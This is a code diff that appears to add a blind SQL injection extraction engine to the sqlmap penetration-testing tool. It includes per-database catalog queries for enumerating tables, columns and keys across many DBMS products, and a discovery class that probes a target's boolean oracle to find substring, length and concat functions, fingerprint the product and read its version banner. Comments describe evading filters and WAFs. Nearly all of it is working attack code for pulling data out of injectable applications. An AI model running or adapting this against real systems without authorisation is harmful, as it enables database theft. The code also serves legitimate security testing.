"schema": ("schemaname", "pg_catalog.pg_tables", None)}),
|
||||
("master..sysdatabases", "MSSQL/Sybase",
|
||||
{"database": ("name", "master..sysdatabases", None),
|
||||
"schema": ("name", "sys.schemas", None),
|
||||
"table": ("name", "sys.tables", None)}),
|
||||
("RDB$RELATIONS", "Firebird",
|
||||
{"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding
|
||||
("syscat.tables", "IBM DB2",
|
||||
{"table": ("tabname", "syscat.tables", None)}),
|
||||
("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS,
|
||||
{"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA
|
||||
("SYS.OBJECTS", "SAP HANA",
|
||||
{"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}),
|
||||
("SYS.SYSTABLES", "Apache Derby",
|
||||
{"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables)
|
||||
("SYSIBM.SYSTABLES", "DB2/Derby",
|
||||
{"table": ("NAME", "SYSIBM.SYSTABLES", None)}),
|
||||
("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage);
|
||||
{"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed
|
||||
("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified);
|
||||
{"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables
|
||||
("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the
|
||||
{"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute
|
||||
("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)",
|
||||
{"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None),
|
||||
"schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}),
|
||||
)
|
||||
|
||||
|
||||
# per-catalog column enumeration: (name_col, source, filter) where filter has one %s
|
||||
# for the (literal) table name; matched by the catalog chosen above
|
||||
# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the
|
||||
# catalog's declared column position, used to return columns in DEFINITION order (else
|
||||
# they come out alphabetical); a wrong/absent one just degrades to alphabetical
|
||||
_COLUMN_SPECS = {
|
||||
"sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"),
|
||||
"SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema
|
||||
"pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"),
|
||||
"sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns())
|
||||
"master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"),
|
||||
"RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding
|
||||
"syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"),
|
||||
"db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID
|
||||
"systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix
|
||||
"sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB
|
||||
"system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db)
|
||||
"SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"),
|
||||
"SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"),
|
||||
"SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"),
|
||||
"INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"),
|
||||
}
|
||||
|
||||
|
||||
# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB
|
||||
# (case-sensitive, literal '_') is preferred over LIKE
|
||||
_PREFIX = (
|
||||
("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred)
|
||||
("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive)
|
||||
("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META)
|
||||
)
|
||||
|
||||
|
||||
# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a
|
||||
# literal one in the extracted value must be backslash-escaped or the pattern mismatches
|
||||
_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$")
|
||||
|
||||
|
||||
# identifier quoting styles: (open, close); probed against a known-present table
|
||||
_IDENT_QUOTE = (
|
||||
('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/...
|
||||
('`', '`'), # MySQL/MariaDB/TiDB
|
||||
('[', ']'), # SQL Server/Access/Sybase
|
||||
)
|
||||
|
||||
|
||||
# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter);
|
||||
# the preferred row-ordering key for dump()
|
||||
# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes
|
||||
# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA)
|
||||
_ANSI_KEY_SPEC = (
|
||||
"INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS "
|
||||
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))")
|
||||
|
||||
_KEY_SPECS = {
|
||||
"INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC,
|
||||
"master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk
|
||||
"pg_catalog.pg_tables": (
|
||||
"information_schema.key_column_usage", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints "
|
||||
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"),
|
||||
"SYS.ALL_TABLES": (
|
||||
"SYS.ALL_CONS_COLUMNS", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS "
|
||||
"WHERE constraint_type IN ('P','U'))"),
|
||||
}
|
||||
|
||||
|
||||
# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump()
|
||||
_ROWID = (
|
||||
("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured
|
||||
("_ROWID_", "_ROWID_", "int"), # SQLite alias
|
||||
("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable)
|
||||
("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing
|
||||
("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number
|
||||
)
|
||||
|
||||
|
||||
# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their
|
||||
# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT
|
||||
# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works
|
||||
_ROWID_LITBOUND = frozenset(("ctid",))
|
||||
|
||||
|
||||
# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet
|
||||
_PRINTABLE = "".join(chr(_) for _ in range(32, 127))
|
||||
|
||||
|
||||
# _PRINTABLE sorted by code point (for ordinal/collation bisection)
|
||||
_PRINTABLE_SORTED = sorted(_PRINTABLE)
|
||||
|
||||
|
||||
# English-frequency-ordered charset (common letters first) so the equality scan needs
|
||||
# fewer probes on real text; completed with any remaining printable chars below
|
||||
_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz"
|
||||
"0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ")
|
||||
_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER)
|
||||
|
||||
|
||||
# highest Unicode code point: the upper bound for code-mode bisection
|
||||
_UNICODE_MAX = 0x10FFFF
|
||||
|
||||
|
||||
# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker
|
||||
# (extraction emits it instead of ever silently substituting/dropping a character)
|
||||
_REPL = u"\uFFFD"
|
||||
|
||||
|
||||
# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is
|
||||
# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of
|
||||
# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which
|
||||
# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value.
|
||||
_SOFT_WARNINGS = ("case", "collation", "recovered via hex")
|
||||
|
||||
|
||||
def _hardWarnings(warns):
|
||||
"""The integrity-class warnings in `warns` (those that impugn the recovered bytes)."""
|
||||
return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)]
|
||||
|
||||
|
||||
# py2/py3 shim: integer code point -> single char
|
||||
try:
|
||||
_unichr = unichr # py2
|
||||
except NameError:
|
||||
_unichr = chr # py3
|
||||
|
||||
# py2/py3 shim: the py2 unicode text type (str on py3)
|
||||
try:
|
||||
_unicode = unicode # py2
|
||||
except NameError:
|
||||
_unicode = str # py3
|
||||
|
||||
|
||||
def _native(s):
|
||||
# embed a literal as the native str type: on py2 a unicode value is encoded to
|
||||
# utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force
|
||||
# an ascii encode of non-ASCII data; on py3 str is already unicode-clean.
|
||||
if str is bytes and isinstance(s, _unicode): # py2 only
|
||||
return s.encode("utf-8")
|
||||
return s
|
||||
|
||||
|
||||
__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii']
|
||||
@@ -0,0 +1,604 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _BANNER_KEYWORDS
|
||||
from .atlas import _BANNERS
|
||||
from .atlas import _BINWRAP
|
||||
from .atlas import _BYTELEN
|
||||
from .atlas import _CATALOGS
|
||||
from .atlas import _CHARCODE
|
||||
from .atlas import _CHARFROM
|
||||
from .atlas import _charsetCodec
|
||||
from .atlas import _CHARSET_PROBES
|
||||
from .atlas import _COALESCE
|
||||
from .atlas import _CONCAT
|
||||
from .atlas import _DUAL
|
||||
from .atlas import _DUAL_IMPLIES
|
||||
from .atlas import _HEXFN
|
||||
from .atlas import _IDENTITY
|
||||
from .atlas import _LENGTH
|
||||
from .atlas import _PREFIX
|
||||
from .atlas import _SUBSTRING
|
||||
from .atlas import _TEXTCAST
|
||||
from .records import Cap
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
class _Discovery(object):
|
||||
"""_Discovery
|
||||
|
||||
probe the target to build the Dialect; populates self.dialect, never extracts data."""
|
||||
|
||||
def discover(self):
|
||||
with self._probePhase():
|
||||
return self._discover()
|
||||
|
||||
def _discover(self):
|
||||
if not self._sanity():
|
||||
raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)")
|
||||
try:
|
||||
self._discoverSubstring()
|
||||
except RuntimeError:
|
||||
# MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a
|
||||
# pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/
|
||||
# code/hex fn.
|
||||
if self._fallbackPrefix():
|
||||
return self.dialect
|
||||
raise
|
||||
try:
|
||||
self._discoverLength()
|
||||
except RuntimeError:
|
||||
# no length fn - derive length from the substring's end behavior, provided
|
||||
# that end is observable (empty/NULL). one more laddered capability, so a
|
||||
# backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts.
|
||||
# if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor.
|
||||
if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"):
|
||||
if self._fallbackPrefix():
|
||||
return self.dialect
|
||||
raise
|
||||
self.dialect.notes.append("no length fn; length derived from substring end")
|
||||
self._discoverBytelen()
|
||||
self._discoverConcat()
|
||||
self._fixupLength()
|
||||
self._discoverTextcast()
|
||||
self._discoverCoalesce()
|
||||
self._discoverCompare()
|
||||
self._discoverComparator()
|
||||
self._discoverCharfrom()
|
||||
self._discoverCharset()
|
||||
self._discoverDual()
|
||||
self._discoverIdentity()
|
||||
self._discoverCatalog()
|
||||
self._checkCompat()
|
||||
self._discovered = True
|
||||
return self.dialect
|
||||
|
||||
def _fallbackPrefix(self):
|
||||
# pure LIKE/GLOB pattern-match floor: usable when there is no workable
|
||||
# substring+length combo (substring absent, or present but unmeasurable).
|
||||
# only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no
|
||||
# SUBSTR) are discovered; concat/compare/etc. stay None.
|
||||
if not self._discoverPrefix():
|
||||
return False
|
||||
self.dialect.substring = None # route retrieval to the pattern-match path
|
||||
self.dialect.length = None
|
||||
self.dialect.compare = "like"
|
||||
# the numeric/paging comparator is STILL needed here: catalog keyset paging relies on
|
||||
# it, and the constructor default 'gt'/_inOk=True would silently fail (returning only
|
||||
# the first row, no warning) on the very WAF that forced this floor. Discover the real
|
||||
# capability so paging uses NOT IN / brute-force honestly.
|
||||
self._discoverComparator()
|
||||
self._discoverCharfrom()
|
||||
self._discoverCharset()
|
||||
self._discoverDual()
|
||||
self._discoverCatalog()
|
||||
self._discovered = True
|
||||
return True
|
||||
|
||||
def _discoverPrefix(self):
|
||||
# LIKE/GLOB pattern match: 'sqlmap' <op> 'sq<multi>' true, 'zz<multi>' false.
|
||||
# also measure case-sensitivity ('a' <op> 'A').
|
||||
for op, multi, single in _PREFIX:
|
||||
if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \
|
||||
not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)):
|
||||
ci = self._ask("('a') %s 'A'" % op)
|
||||
self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci)
|
||||
return op
|
||||
return None
|
||||
|
||||
def identify(self):
|
||||
"""Fuse catalog family + required dual-table + version banner (+ behavioral
|
||||
tells) into a best-guess product with an evidence trail. Run after
|
||||
discover(). This is the CTF step: name the abomination on the other end."""
|
||||
d = self.dialect
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
ev = []
|
||||
if d.catalog:
|
||||
ev.append(("catalog = %s" % d.catalog, d.family))
|
||||
if d.dual and d.dual[0] != "bare":
|
||||
ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?")))
|
||||
product = None
|
||||
# best-effort naming: on a permission/charset wall a probe may be undecided;
|
||||
# degrade to whatever evidence was gathered rather than crash the verdict
|
||||
try:
|
||||
# cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner)
|
||||
if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")):
|
||||
ev.append(("|| is logical OR (not concat)", "MySQL family"))
|
||||
product = "MySQL"
|
||||
# the version banner is the EXPENSIVE part (blind-reading a long string), so
|
||||
# it is paid for ONLY when the catalog family can't name the product on its
|
||||
# own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific
|
||||
# catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and
|
||||
# --banner reads the full version explicitly via banner().
|
||||
if product is None and (not d.family or "ANSI" in d.family):
|
||||
val, implied = self._probeBanner()
|
||||
if val:
|
||||
ev.append(("banner", val))
|
||||
product = self._nameFromBanner(val) or implied
|
||||
if product is None and self._hasChars("@@version_comment"):
|
||||
comment = self.extract("@@version_comment", limit=64)
|
||||
if comment:
|
||||
ev.append(("@@version_comment", comment))
|
||||
product = self._nameFromBanner(comment)
|
||||
except OracleUndecided:
|
||||
ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)"))
|
||||
|
||||
d.product = product or d.family
|
||||
d.evidence = ev
|
||||
return {"product": d.product, "version": d.version, "family": d.family,
|
||||
"dual": d.dual[0] if d.dual else None, "compare": d.compare,
|
||||
"evidence": ev}
|
||||
|
||||
def _probeBanner(self):
|
||||
# blind-read the version string (expensive - a long string over the oracle).
|
||||
# caches on the dialect; returns (version, implied_product) - some exprs imply a
|
||||
# product just by existing (e.g. H2VERSION() -> H2)
|
||||
for _label, expr, prod, implies in _BANNERS:
|
||||
if self._hasChars(expr):
|
||||
val = self.extract(expr, limit=96)
|
||||
if val:
|
||||
self.dialect.version = val
|
||||
return val, (prod if implies else None)
|
||||
return None, None
|
||||
|
||||
def banner(self):
|
||||
"""The --banner action: the full version string, read on demand ONLY. The
|
||||
fingerprint never triggers this - naming the product (identify) is cheap and
|
||||
does not need the banner unless the catalog family is ambiguous."""
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
if self.dialect.version is None:
|
||||
try:
|
||||
self._probeBanner()
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return self.dialect.version
|
||||
|
||||
@staticmethod
|
||||
def _nameFromBanner(text):
|
||||
low = text.lower()
|
||||
for kw in _BANNER_KEYWORDS:
|
||||
if kw.lower() in low:
|
||||
return kw
|
||||
return None
|
||||
|
||||
def _discoverSubstring(self):
|
||||
for name, tmpl in _SUBSTRING:
|
||||
g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln)
|
||||
base = None
|
||||
if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)):
|
||||
base = 1
|
||||
elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)):
|
||||
base = 0
|
||||
if base is None:
|
||||
continue
|
||||
self.dialect.substring = Cap(name, tmpl, index_base=base)
|
||||
# base detection above CONFIRMS the substring fn works; the property
|
||||
# measurements below are best-effort and MUST NOT discard it - a probe the
|
||||
# oracle can't decide leaves the property at a safe default, never aborts.
|
||||
props = self.dialect.substring.props
|
||||
try:
|
||||
props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1))
|
||||
props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0))
|
||||
props["unit"] = self._substringUnit()
|
||||
except OracleUndecided:
|
||||
pass
|
||||
props.setdefault("beyond_end", "unknown")
|
||||
props.setdefault("zero_length", "unknown")
|
||||
props.setdefault("unit", "unknown")
|
||||
return name
|
||||
self.dialect.substring = None
|
||||
raise RuntimeError("no working substring function found")
|
||||
|
||||
def _codeCharTmpl(self):
|
||||
# a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets
|
||||
# the unicode PROPERTY probes build a multibyte test char server-side instead
|
||||
# of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
|
||||
if self._codeTmpl is None:
|
||||
self._codeTmpl = False
|
||||
# PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a
|
||||
# code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364)
|
||||
# is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII-
|
||||
# working constructor when no Unicode-capable one exists.
|
||||
for unicode_capable in (True, False):
|
||||
for _, tmpl in _CHARFROM:
|
||||
if not (self._ask("%s='a'" % tmpl.format(code=97)) and
|
||||
not self._ask("%s='b'" % tmpl.format(code=97))):
|
||||
continue
|
||||
if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)):
|
||||
continue
|
||||
self._codeTmpl = tmpl
|
||||
break
|
||||
if self._codeTmpl:
|
||||
break
|
||||
return self._codeTmpl or None
|
||||
|
||||
def _substringUnit(self):
|
||||
# char vs byte, ASCII-only + self-referential: SUBSTR(<mb>,1,1) returns the
|
||||
# whole char (== <mb>) if char-based, or a partial byte (!= <mb>) if byte-based.
|
||||
# <mb> is a multibyte codepoint built from its numeric code (no raw bytes sent).
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8)
|
||||
if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)):
|
||||
return "characters"
|
||||
return "bytes-or-unknown"
|
||||
|
||||
def _edgeBehavior(self, expr):
|
||||
if self._ask("%s=''" % expr):
|
||||
return "empty"
|
||||
if not self._ask("%s IS NOT NULL" % expr):
|
||||
return "null-or-error"
|
||||
return "other"
|
||||
|
||||
def _discoverLength(self):
|
||||
# prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2)
|
||||
# so length stays in the same unit as the char-indexed substring
|
||||
for prefer_chars in (True, False):
|
||||
for name, tmpl in _LENGTH:
|
||||
f = lambda s: tmpl.format(expr=s)
|
||||
if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))):
|
||||
continue
|
||||
try:
|
||||
unit = self._lengthUnit(f)
|
||||
except OracleUndecided:
|
||||
unit = "unknown"
|
||||
if prefer_chars and unit != "characters":
|
||||
continue
|
||||
trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space?
|
||||
empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL?
|
||||
self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing,
|
||||
empty_is_null=empty_null)
|
||||
return name
|
||||
self.dialect.length = None
|
||||
raise RuntimeError("no working length function found")
|
||||
|
||||
def _lengthUnit(self, f):
|
||||
# ASCII-only: measure the length of a multibyte char built from its code.
|
||||
# 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire.
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
mb = cf.format(code=0x20AC)
|
||||
if self._ask("%s=1" % f(mb)):
|
||||
return "characters"
|
||||
if self._ask("%s>=2" % f(mb)):
|
||||
return "bytes"
|
||||
return "unknown"
|
||||
|
||||
def _fixupLength(self):
|
||||
# a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates
|
||||
# any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat.
|
||||
L = self.dialect.length
|
||||
if not L or L.get("trailing"):
|
||||
return
|
||||
if self.dialect.concat:
|
||||
joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
|
||||
props = dict(L.props, trailing=True)
|
||||
inner = "(%s)-1" % L[1].format(expr=joined)
|
||||
# a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1
|
||||
# is 0, which would report a NULL value as an empty string. Guard so a NULL input
|
||||
# still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'.
|
||||
tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner
|
||||
self.dialect.length = Cap(L.name + "+dot", tmpl, **props)
|
||||
self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
|
||||
else:
|
||||
self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
|
||||
|
||||
def _checkCompat(self):
|
||||
# substring positions and the length count must be in the SAME unit, else
|
||||
# the per-position walk desyncs on multibyte data
|
||||
s, ln = self.dialect.substring, self.dialect.length
|
||||
if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes":
|
||||
# HARD strategy change (not just a warning): a byte-count length would drive the
|
||||
# char-indexed substring walk PAST the end of a multibyte value. Discard it so
|
||||
# length is derived from the char-based substring instead - same unit, no desync.
|
||||
self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring")
|
||||
self.dialect.length = None
|
||||
|
||||
def _discoverBytelen(self):
|
||||
# a *byte*-length fn - distinguished from char length with a multibyte char
|
||||
# (a char-length fn would report 1). the char is built from its code (ASCII on
|
||||
# the wire); if it can't be built, the atlas name is trusted on the ASCII check.
|
||||
cf = self._codeCharTmpl()
|
||||
mb = cf.format(code=0x20AC) if cf else None
|
||||
for name, tmpl in _BYTELEN:
|
||||
try:
|
||||
if not self._ask("%s=2" % tmpl.format(expr="'AB'")):
|
||||
continue
|
||||
if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)):
|
||||
continue # counts chars, not bytes
|
||||
except OracleUndecided:
|
||||
continue
|
||||
self.dialect.bytelen = Cap(name, tmpl)
|
||||
return name
|
||||
|
||||
# casts with no length bound - hex-framing a value through these can never truncate it;
|
||||
# anything else may silently shorten a long value, so dump() verifies those cells at source
|
||||
_UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max",
|
||||
"cast_varchar_max", "cast_string"))
|
||||
|
||||
def _discoverTextcast(self):
|
||||
# a cast that stringifies a number: substr(cast(123),1,1)='1' and the
|
||||
# negative sign survives (substr(cast(-42),1,1)='-')
|
||||
for name, tmpl in _TEXTCAST:
|
||||
c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42")
|
||||
if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
|
||||
self._lenEquals(c123, 3) and \
|
||||
self._ask("%s='-'" % self._sub(cneg, 1, 1)):
|
||||
self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS)
|
||||
return name
|
||||
|
||||
def _discoverCoalesce(self):
|
||||
# COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured*
|
||||
# property, not a requirement (on Oracle '' IS NULL, so it becomes 'X').
|
||||
for name, tmpl in _COALESCE:
|
||||
g = lambda e, fb: tmpl.format(expr=e, fallback=fb)
|
||||
if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)):
|
||||
empty_distinct = self._lenEquals(g("''", "'X'"), 0)
|
||||
self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct)
|
||||
return name
|
||||
|
||||
def _discoverDual(self):
|
||||
# the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint
|
||||
for name, frm in _DUAL:
|
||||
if self._ask("(SELECT 1%s)=1" % frm):
|
||||
self.dialect.dual = Cap(name, frm)
|
||||
return name
|
||||
|
||||
def _discoverConcat(self):
|
||||
# test via substring of the joined result to dodge numeric-coercion
|
||||
# false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.)
|
||||
for name, tmpl in _CONCAT:
|
||||
joined = tmpl.format(a="'sq'", b="'lm'")
|
||||
if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \
|
||||
self._lenEquals(joined, 4):
|
||||
self.dialect.concat = Cap(name, tmpl)
|
||||
# function-style concat (CONCAT(a,b)) may be VARIADIC - a flat
|
||||
# CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller
|
||||
# payload, less WAF/URL surface). operators (||/+) split() to "".
|
||||
func = tmpl.split("(")[0]
|
||||
if func:
|
||||
try:
|
||||
three = "%s('s','q','l')" % func
|
||||
if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3):
|
||||
self.dialect.concat.props["variadic"] = func
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return name
|
||||
self.dialect.concat = None
|
||||
self.dialect.notes.append("no concatenation operator discovered")
|
||||
|
||||
def _discoverCompare(self):
|
||||
# 1) numeric code function - fast, unambiguous bisection
|
||||
one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71)
|
||||
for name, tmpl in _CHARCODE:
|
||||
code = tmpl.format(expr=one)
|
||||
if self._ask("%s=113" % code) and not self._ask("%s=112" % code):
|
||||
self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl))
|
||||
self.dialect.compare = "code"
|
||||
self.dialect.ordered = True
|
||||
return "code:%s" % name
|
||||
self.dialect.charcode = None
|
||||
|
||||
# 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
|
||||
# code function (one compare per bisection) and recovers case under CI /
|
||||
# locale collations. tried before hex because it's cheaper.
|
||||
cf = self._codeCharTmpl()
|
||||
for name, tmpl in _BINWRAP:
|
||||
w = lambda s: tmpl.format(x=s)
|
||||
if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and
|
||||
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and
|
||||
not self._ask("%s=%s" % (w("'a'"), w("'A'")))):
|
||||
continue
|
||||
# BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT
|
||||
# values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE)
|
||||
# and ACCENTS (many collations are accent-insensitive). One that folds either is
|
||||
# ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a
|
||||
# folded value (trailing-space or accent folding) to EXACT.
|
||||
if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive
|
||||
continue
|
||||
# accent test needs a char constructor to build the accented probe. If we HAVE one and
|
||||
# it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are
|
||||
# UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so
|
||||
# it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter).
|
||||
byte_exact = False
|
||||
if cf:
|
||||
